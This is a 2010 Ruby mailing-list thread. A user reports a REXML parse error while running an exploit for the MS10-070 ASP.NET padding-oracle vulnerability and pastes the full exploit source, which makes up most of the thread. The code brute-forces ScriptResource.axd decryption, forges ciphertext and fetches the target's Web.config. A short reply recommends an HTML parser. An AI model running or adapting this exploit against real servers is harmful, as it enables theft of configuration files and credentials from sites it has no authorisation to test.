Errors on REXML reading an HTML

Hello, I’m doing a penetration testing with an exploit developed in Ruby
that used the library rexml. The code is supposed to trigger the
vulnerability identified as ms10-070.

However rexml fails because the html of the website to evaluate is not
properly made. This is the error I recibe:

////////////////// ERROR IN THE EXECUTION //////////////////

discovering decrypt command…
trying decrypt_mask: 0x0001/0xffff, http_code: 200, body_length:
6790#<REXML::
ParseException: Missing end tag for ‘div’ (got “td”)
Line: 156
Position: 5938
Last 80 unconsumed characters:

C:/Ruby192/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:341:in pull' C:/Ruby192/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:22:in parse’
C:/Ruby192/lib/ruby/1.9.1/rexml/document.rb:230:in build' C:/Ruby192/lib/ruby/1.9.1/rexml/document.rb:43:in initialize’
aspx_ad_chotext_attack.rb:220:in new' aspx_ad_chotext_attack.rb:220:in parse_html_body’
aspx_ad_chotext_attack.rb:259:in block in discover_decrypt_command' aspx_ad_chotext_attack.rb:248:in upto’
aspx_ad_chotext_attack.rb:248:in discover_decrypt_command' aspx_ad_chotext_attack.rb:432:in run’
aspx_ad_chotext_attack.rb:465:in `’

Missing end tag for ‘div’ (got “td”)
Line: 156
Position: 5938
Last 80 unconsumed characters:

…And here’s the code.

////////////////// HERE’S THE CODE ITSELF//////////////////

require ‘net/http’
require ‘uri’
require ‘rexml/document’

$debugging = false

module XArray
def hex_inspect
"[#{length}][ #{map { |x| x.hex_inspect }.join “, " } ]”
end
end

class Array
include XArray
end

require ‘base64’

class XBase64
def self.encode s
s = Base64.encode64 s
s = s.gsub ‘+’, ‘-’
s = s.gsub ‘/’, ‘_’
s = s.gsub “\n”, ‘’
s = s.gsub “\r”, ‘’

s = XBase64.encode_base64_padding s

end

def self.encode_base64_padding s
padding_length = 0
padding_length += 1 while s[-1 - padding_length, 1] == “=”
s[0…(-1 - padding_length)] + padding_length.to_s
end

def self.decode s
s = s.gsub ‘-’, ‘+’
s = s.gsub ‘_’, ‘/’

s = self.decode_base64_padding s

Base64.decode64 s

end

def self.decode_base64_padding s
padding_length = s[-1,1].to_i
s[0…-1] + (“=” * padding_length)
end
end

module XString
def xor other
raise RuntimeError, “length mismatch” if self.length != other.length
(0…length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
end
alias ^ :xor

def hex_inspect
printables = [ “\a”, “\b”, “\e”, “\f”, “\n”, “\r”, “\t”, “\v” ] +
(0x20…0x7e).entries

"[#{length}]" + "\"#{unpack("C*").map { |x|
                  printables.include?(x) ? x.chr : "\\x%02x" % x

}.join}""
end

def to_blocks blocksize
(0…length/blocksize).map { |i| self[blocksize * i, blocksize]}
end
end

class String
include XString
end

class ASPXAutoDecryptorChosenCiphertextAttack
attr_reader :uri
attr_reader :filename
attr_reader :min_filelength
attr_reader :filere
attr_reader :http
attr_reader :d_value
attr_reader :blocksize
attr_reader :padding_length
attr_reader :decrypt_command_mask
attr_reader :axdpath
attr_reader :axdname
attr_reader :base_mask

def initialize parameters
@uri = URI.parse parameters[:uri]
@filename = parameters[:filename]
@min_filelength = parameters[:min_filelength]
@filere = parameters[:filere]
@http = http_initialize
@d_value = nil
@base_mask = rand 0xffff
@decrypt_command_mask = nil
@blocksize = nil
@padding_length = nil
@axdpath = nil
@axdname = nil

puts "target: #{@uri}"
puts "base_mask: 0x%04x" % @base_mask

end

def http_initialize
http = Net::HTTP.new @uri.host, @uri.port
http.start
http
end

def parse_script_tag xml, re
d = nil

doc = REXML::Document.new xml
doc.elements.each 'script' do |e|
  src_attribute = e.attributes['src']
  md = re.match src_attribute
  d = md[1]
  break
end

raise RuntimeError, "could not parse script_tag" unless d

d

end
private :parse_script_tag

def get_ciphertext_sample
[ [ “ScriptResource.axd”,
//ScriptResource.axd?d=([a-zA-Z0-9-_]+)&t=[a-z0-9]+/ ],
].each do |name, re|

    headers = { 'User-Agent' => \
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }

    response = http.get uri.path, headers
    body = response.body

    script_tags = body.lines.select { |x| x.index name }

    next if script_tags.empty?

    puts "script tags using #{name} [#{script_tags.length}]:"
    puts script_tags.map { |x| "\t#{x}" }

    d = parse_script_tag script_tags[0], re

    puts "using script: #{name}"
    puts "using d_value: #{d}"

    @axdpath = uri.path[0, uri.path.rindex('/')]
    @axdname = name
    @d_value = ("\x00" * 16) + (XBase64.decode d)
    break
end

raise RuntimeError, "could not find any axd sample" unless d_value

d_value

end

def parse_html_body h, body
parsed = String.new

doc = REXML::Document.new body
doc.elements.each h do |e|
  parsed = e.text
  break
end

parsed

end

def send_request d
request = Net::HTTP::Get.new
“/#{axdpath}/#{axdname}?d=#{XBase64.encode d}”
request[‘Connection’] = ‘Keep-Alive’
@http.request request
end

def decrypt d
ciphertext = d.clone
ciphertext[0, 2] = [ @decrypt_command_mask ].pack “S”

response = send_request ciphertext

parse_html_body 'html/head/title', response.body

end

def discover_decrypt_command
puts “discovering decrypt command…”

ciphertext = d_value.clone
1.upto 0xffff do |mask|
  ciphertext[0, 2] = [ base_mask + mask ].pack "S"

  response = send_request ciphertext

  print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d,

body_length: %5d" %
[ mask,
response.code, response.body.length ]

  next unless response.code == "200"

  begin
    puts parse_html_body 'html/head/title', response.body
    @decrypt_command_mask = base_mask + mask
  rescue Exception => e
    puts e
    puts "exception !"
    next
  end

  break
end

puts

raise RuntimeError, "no more combinations to try !" unless

decrypt_command_mask
puts “decrypted !!!”

decrypt_command_mask

end

def discover_blocksize_and_padding_length
puts “discovering blocksize and padding length…”

[ 16, 8 ].each do |b|
  0.upto b - 1 do |i|
    ciphertext = @d_value.clone
    ciphertext[-(b * 2) + i] ^= 0x01
    begin
      decrypt ciphertext
    rescue Exception => e
      @blocksize = b
      @padding_length = blocksize - i
      break
    end
  end
  break if blocksize
end

raise RuntimeError, "no more combinations to try !" unless blocksize

puts "discovered padding length: #{padding_length}"
puts "discovered blocksize: #{blocksize}"

[ blocksize, padding_length]

end

def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
puts “cipher_blocks.count: #{cipher_blocks.count}”

required_block_count = 1 + new_plaintext_blocks.count + 1
puts "required_block_count: #{required_block_count}"

if required_block_count < cipher_blocks.count then
  delta = cipher_blocks.count - required_block_count
  puts "removing #{delta} extra blocks..."
  cipher_blocks = [ cipher_blocks[0] ] +

cipher_blocks[-required_block_count+1…-1]
elsif required_block_count > cipher_blocks.count then
delta = required_block_count - cipher_blocks.count
puts “adding #{delta} extra_blocks…”
cipher_blocks = [ cipher_blocks[0], (“\x00” * blocksize) * delta ]

  • cipher_blocks[1…-1]
    end

    puts “cipher_blocks.count: #{cipher_blocks.count}”

    cipher_blocks
    end
    private :reallocate_cipher_blocks

    def generate_new_plaintext_blocks
    tail_padding = “\x01”
    head_padding_length = blocksize - ( (@filename.length +
    tail_padding.length) % blocksize)
    head_padding_length = 0 if head_padding_length == blocksize
    head_padding = “\x00” * head_padding_length
    new_plaintext = head_padding + @filename + tail_padding

    new_plaintext.to_blocks blocksize
    end
    private :generate_new_plaintext_blocks

    def encrypt
    puts “encrypting "#{@filename.hex_inspect}…”

    new_plaintext_blocks = generate_new_plaintext_blocks

    cipher_blocks = @d_value.to_blocks blocksize
    cipher_blocks = reallocate_cipher_blocks cipher_blocks,
    new_plaintext_blocks

    (1…new_plaintext_blocks.count).each do |i|
    puts “round #{i} of #{new_plaintext_blocks.count}”

    new_plaintext_block = new_plaintext_blocks[-i]
    
    old_cleartext = decrypt cipher_blocks.join
    old_plaintext = old_cleartext + (padding_length.chr *
    

padding_length)
puts “old_plaintext: #{old_plaintext.hex_inspect}”

  old_plaintext_blocks = old_plaintext[blocksize * (-i -

1)…-1].to_blocks blocksize

  old_plaintext_block = old_plaintext_blocks[-i]

  normalization_table = old_plaintext_block.bytes.map { |x| x >=

0x80 or x == 0x0a }
if normalization_table.include? true
j = blocksize - (normalization_table.rindex true)
cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]
puts “normalization needed for "\x%x", j: %d !” % [
old_plaintext_block[-j], -j]
redo
end

  cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block

  @padding_length = 1 if i == 1
end

cleartext = decrypt cipher_blocks.join
puts "new cleartext: #{cleartext.hex_inspect}"

raise RuntimeError, “too many "|" characters!” if

cleartext.count(“|”) > 3

@d_value = cipher_blocks.join

end

def discover_escape_sequence
puts “discovering escape sequence…”

escape_sequence_mask = nil

offset = base_mask % (blocksize - 4)

ciphertext = d_value.clone
0x1ffff.times do |mask|
  ciphertext[offset, 4] = [ base_mask + mask ].pack "L"

  response = send_request ciphertext
  print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d,

body_length: %5d" %
[ mask,
response.code, response.body.length ]

  next unless response.code == "200"

  next if min_filelength and (response.body.length < min_filelength)

  next if filere and (not filere =~ response.body)

  escape_sequence_mask = base_mask + mask

  puts
  puts "found!"

  unless $debugging
    puts "press any key to show the contents of the file"
    $stdin.gets
  end

  puts response.body
  break
end
puts

raise RuntimeError, "no more combinations to try !" unless

escape_sequence_mask

escape_sequence_mask

end

def pause
return if $debugging
puts
puts “press any key to start the attack”
$stdin.gets
end

def run
get_ciphertext_sample
pause
discover_decrypt_command
discover_blocksize_and_padding_length
encrypt
discover_escape_sequence
end
end

puts [ “-------------------------------------------”,
“aspx_ad_chotext_attack.rb”,
“(c) 2010 AmpliaSECURITY”,
http://www.ampliasecurity.com”,
“Agustin Azubel - [email protected]”,
“-------------------------------------------”,
“\n” ].join “\n”

if ARGV.length != 1 then
$stderr.puts “usage: ruby #{$PROGRAM_NAME}
http://192.168.1.1/Default.aspx
exit
end

begin
parameters = {
:uri => ARGV.first,
:filename => “|||~/Web.config”,

:min_filelength => 3000,

:filere => /configuration/

}

x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters
x.run
rescue Exception => e
$stderr.puts “Exploit failed: #{e}”

raise if $debugging
end

////////////////////////////////////

Please somebody could help me? I’m not very skilled on Ruby to be
honest, but I tought about replacing REXML for any other library that
wouldn’t trigger this error.

Any help would be really appreciated.
Thanks in advance and happy xmass!

On Sat, Dec 25, 2010 at 12:16 AM, Lorenzo D. [email protected]
wrote:

Hello, I’m doing a penetration testing with an exploit developed in Ruby
that used the library rexml. The code is supposed to trigger the
vulnerability identified as ms10-070.

However rexml fails because the html of the website to evaluate is not
properly made. This is the error I recibe:

Please somebody could help me? I’m not very skilled on Ruby to be
honest, but I tought about replacing REXML for any other library that
wouldn’t trigger this error.

If you want to parse HTML you must replace REXML anyway because it is
an XML parser and not a HTML parser - unless of course someone can
guarantee to you that all pages you want to parse are valid XHTML. I
suggest nokogiri.

Cheers

robert